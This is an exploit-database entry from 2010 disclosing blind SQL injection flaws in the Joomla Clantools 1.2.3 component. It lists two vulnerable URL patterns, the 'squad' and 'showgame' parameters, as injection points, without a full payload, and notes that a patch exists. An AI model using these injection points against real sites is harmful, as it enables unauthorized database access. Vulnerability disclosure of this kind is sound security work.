[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Joomla Component Clantools version 1.2.3 Multiple Blind SQL Injection Vulnerability
# Published : 2010-09-05
# Author : Solidmedia
# Previous Title : smbind <= v.0.4.7 SQL Injection Vulnerability
# Next Title : Joomla Component Clantools version 1.5 Blind SQL Injection Vulnerability
# Exploit Title: Joomla Component Clantools version 1.2.3 Multiple Blind SQL Injection Vulnerability
# Date: 05.09.2010
# Author: Stephan Sattler // Solidmedia
# Software Link: http://www.joomla-clantools.de/downloads/doc_download/7-clantools-123.html
# Version: 1.2.3
[ Vulnerability 1 ]
http://www.site.com/joomlapath/index.php?option=com_clantools&squad=1+[Blind SQL]
[ Vulnerability 2 ]
http://www.site.com/joomlapath/index.php?option=com_clantools&task=clanwar&showgame=1+[Blind SQL]&Itemid=999
#Vulnerability was already reported, have a look at http://www.joomla-clantools.de to get a patch